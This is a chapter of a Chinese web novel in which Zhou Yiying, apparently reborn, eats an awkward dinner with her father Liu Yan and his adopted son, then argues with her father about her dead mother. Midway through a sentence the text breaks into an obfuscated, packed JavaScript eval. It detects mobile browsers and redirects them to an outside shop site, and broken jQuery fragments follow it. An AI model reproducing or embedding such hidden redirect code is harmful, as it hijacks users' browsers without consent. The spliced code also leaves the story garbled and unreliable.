倒不是说有多疑惑,而是惊奇,毕竟周意映很少在柳宴面前提起柳凛风,更何况是在一张桌上用膳,这不亚于太阳从西边出来。
与柳宴再次见面的场景实在尴尬,柳凛风不知周意映为何将他叫来,或许是为了炫耀她们之间的父女情深,可他并不是很在意。
垂下如墨色的眼睛,他率先低头,不轻不重地喊了柳宴一声义父,一切就归于沉默了。
而周意映一直没说话。
面对这个场景,柳宴只能尴尬地笑了笑。
三人好似僵持着,但事实上周意映压根没理会两人的暗藏的心思,径直坐下端起瓷碗就开始吃饭了。
“吃啊,看着我干什么,我又不是饭菜。”
约摸出察觉两人的视线还停留在自己身上,随意地吃了口菜,今日的菜肴有些淡,她评价着。
这句话喊动了两人,也不再面面相觑,端起碗就默不吭声地夹起眼前的菜,但柳宴的脸色始终有些不正常,吃一口就看一眼,猝不及防与义子对视那就更加奇怪,咳嗽地老大声,生怕其他人听不见似的。
“慢点吃,这里不是军营,没人和抢。”
周意映无奈地叹了口气,倒了杯水递过去,那眼神瞧着,让人一时竟分不清谁才是长辈。
大口喝水的柳宴没注意,笑得一脸宠溺,显然对于女儿的关心十分感动,而把这一切映入眼底的柳凛风一句话也没说,好像是个没有感情的木头人。
“意映,听说这次还是景绪救的你?”
这才平静一儿会,柳宴突然抬头,试探性地看向她,见她没有任何变化才继续说道:“当然,你也救了他,两个人是互帮互助,我看到你们能如此也是倍感欣慰啊。”
他絮絮叨叨说着许多,还时不时拍拍柳凛风的肩,力气很大,至少柳凛风是承受不住的,皱了皱眉,但柳宴没看见,还在说着。
这是头一次,柳凛风和柳宴一句话也没说,像个假人似地吃着白米饭,努力缩小着存在感,碗里的米饭被他戳了洞都没发觉。
饭桌上的气氛异常尴尬,但有一个人自我感觉良好还在侃侃而谈。
终于,周意映忍不住了,压着脾气开口,“爹,你什么时候话这么多了?这么多饭菜都堵不住你的嘴吗?”
“这怎么能是我话多呢?我也是……”
“爹!你刚回来,多吃点。”她站起来舀了碗汤,直接递了过去,挡住了他的继续发言。
被硬塞了一碗充满爱意的热汤,柳宴就不吭声了,舀着碗中的食物闭上了嘴。
“是郡主救的我,我并没有帮助到郡主什么,反而还拖累了她。”
此话一出,柳宴还在发愣,她则不动声色地看了眼对面的柳凛风,和平常好像没什么不同,但今天他几乎没说几句话。
“救了便是救了,我不是拖欠恩情之人。”
见两人的目光的移向她脸色也没变半分,规规矩矩端坐着,一板一眼地喝着汤。
气氛着实诡异,站在的楚楚大气也不敢喘,转着一双眼珠左看右看,反正就是不敢停留在三人身上。
晚膳过后,柳凛风自行离去,剩下她与柳宴两人端坐相对,最后一拍即合去院子中赏月消食。
看着那个远去的背影,周意映率先起身。
院中明月高悬,将无边夜色显得温柔半分,蝉鸣声比以往要吵闹许多,大概是在欢迎柳宴的归来。
父女单独闲聊却感觉无甚可言,长长的墨色影子拖在身后,连同两人的开口的话语也锁住了。
这一切都和周意映想的不同,她以为会有说不完的话,流不尽的泪,可真到了这个时候,她一句话也说不出。
告诉他,她是重活一世之人吗?
好像做不到,前世种种宛如旧梦,在她脑中转啊转,明明她最受不得委屈了,明明话语就卡在喉里,可就是说不出。
她眼神忽然迷离,身旁父亲的侧脸离得好近,却又感觉好远,想触碰都怕是场美梦,触之即醒,她开始优柔寡断,天不怕地不怕的任性女郎,终是学会了惧。
惧怕,这一切不过是黄粱一梦不过是她临死前的幻觉。
“和景绪相处得怎么样?我听陛下说你们关系改善不少。”
厚重的话语打断了她的恐慌,柳宴停住步伐,那慈爱的目光里带着一丝犹豫,是在担心惹怒她。
说不上难过,但她与少年的自己和解了,明白了歇斯揭底的行为下的慌乱,她害怕哪天柳宴会告诉她,柳凛风真的是他的孩子。
“你一回来除了简单地问候我几句,就开始问柳凛风?你怎么不自己问他呢?”
明明是父女,为什么两个人之间总是隔着一个他人呢?
“爹不是这个意思,只是这么多年了,爹一直希望你们能好好相处,今想着你都让景绪来了,想来是原谅他了,一个是宝贝女儿,一个是亏欠的义子,我是左右为难啊。”
柳宴说得难得,她也不是滋味,闷在心里的气无处释放,只能锁在某处乱撞,让她眨了眨眼,克制住有些松动的泪泉。
“我一直都知道你很为难,可终究是你对不起母亲,不是吗?你无法否认母亲的去世和他没有关系,为人子女怎么可能好脾气对待‘害死自己母亲的凶手’?”
“意映,你听爹说,长公主的死是我责任,是我没处理好一起的关系,让她伤了心,但这些和景绪无关,他被我带回来的时候什么都不知道,是我没好好和她商量,才导致这样的悲剧。”
“你要怪也应该怪我这个不称职的……”
可她郁气横生,逐渐大声,“这么多年我都听厌了,什么时候你能换一个说辞,她已经走了这么多年了,你想怎么说都可以,她是对我不好,也没有当个合格的娘亲,可毕竟是我亲生母亲,怀胎十月,血浓于水。”
两人今天好像彻底说开一样,面对女儿通红的眼眶,这位战无不胜的战神又一次选择了退让,低头沉默不语。
她自嘲地笑了声,声音宛如蚊蝇,“你看,你自己都反驳不了,又怎么能让我原谅呢?”
对于周霁的感情她从来不知道怎么说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085799|147866||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,幼年的经历让她无法释怀,可将一切怪在柳凛风身上却也她的不是。
分明是夏季,她在此刻却感到寒冷,意识好像回到了那年寒冬,那个溺水拼命呼救的自己,那个湖真的好冷啊,沉重的冬衣压在她不停下坠,岸边的仆人都在看着,却没有一人下来救她。
那个站在岸边的瘦弱女人冷眼旁观,那张柔弱的脸映在眼里,多么的美丽啊,是她的母亲。
视线渐渐模糊,她几乎精疲力尽,仍努力伸着手,嘴中灌着刺骨的池水也不停喊着。
“娘!救我!”
为什么要看着?
“娘亲,意映好冷!”
为什么不来救她?
“救……救命啊!”
为什么要将她推下来?
“娘……”
为什么。
愈来愈小的呼喊,沉入湖底的躯体,以及一动不动的女人。
原来在那时,她不只身体冷,心也好冷。
她好像是恨的,却又忍不住爱。
突然,她没头没脑说了句,“我其实不恨他。”
只是害怕唯一的爱被分走了。
欺负柳凛风不只是因为周霁,也是为了测试柳宴。
回答她的是一个宽厚的怀抱,一只大手抚着她的脑袋,耳边是温声细语,儿时的柳宴经常这样给她讲故事,那时的炉火很温暖,抵挡了一切。
“是爹错了,意映别哭了,爹爹心都要碎了。”
回过神来,泪眼朦胧间,是柳宴的退让。
可她只是把头抵在那宽厚的肩膀没说话。
“意映。”
“爹,你能不能多关心一下我?”她哑着声带着鼻音说完又补充道:“比他更关心点。”
耳边的声音继续响起,面对她的无理取闹他没有一丝恼意,仍如往常,“我从来没有忽略过,意映,你是我唯一的女儿,是我最重要的人,莫要胡思乱想,莫要害怕了。”
缓了许久,周意映才静下来,退出柳宴的怀抱,幸亏是夜间,她红肿的眼睛没有那么显眼,不然她又要恼了。
“看,这次我还给你你带了礼物。”
见她又要忍不住流泪,柳宴连忙拿出一块光滑细腻的碧色圆玉递给她,带着讨好的神色,将她眼角的泪水轻轻拭去。
她不禁闭上眼睛,混乱的呼吸声在她耳畔响起,是她自己的。
良久才接过那份礼物。
触摸时,那玉带着丝丝凉意,让人心头一震,顿感清明,她一惊,“这是?”
柳宴解释道:“路上一个奇怪游僧送的,真真是绝无仅有,怎么摔也摔不碎。”
说着,他将周意映手心的玉一夺,直接摔向地上。
“诶!”
即使伸手也根本来不及阻止他的举动。
和预想的不同,只见那碧玉完好无损地躺在地上。她惊奇地睁大眼睛,捡起来仔细查看却不见一丝裂痕。
眼前突然晃过一个场景,红穗碧玉,一摇一晃,她该是在哪里见过这块玉的。